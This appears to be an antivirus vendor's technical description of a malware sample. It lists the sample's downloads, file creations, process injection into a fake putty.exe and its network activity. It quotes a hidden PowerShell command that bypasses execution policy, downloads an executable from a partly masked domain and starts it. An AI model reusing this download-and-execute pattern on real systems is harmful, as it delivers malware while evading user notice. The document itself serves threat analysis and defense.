Technical Information
Malicious functions
Downloads and executes
- http://pa###.##activedirectory.com/ebyjon.exe as %appdata%\putty.exe
Injects code into
the following user processes:
- putty.exe
Modifies file system
Creates the following files
- %TEMP%\abctfhghgdghghž.sct
- %APPDATA%\putty.exe
Network activity
TCP
HTTP GET requests
- http://pa###.##activedirectory.com/ebyjon.exe
UDP
- DNS ASK pa###.##activedirectory.com
Miscellaneous
Creates and executes the following
- '%APPDATA%\putty.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://pa###.##activedirectory.com/ebyjon.exe','%APPDATA%\putty.exe');Start-P...' (with hidden window)
Executes the following
- '%WINDIR%\microsoft.net\framework\v2.0.50727\dw20.exe' -x -s 512
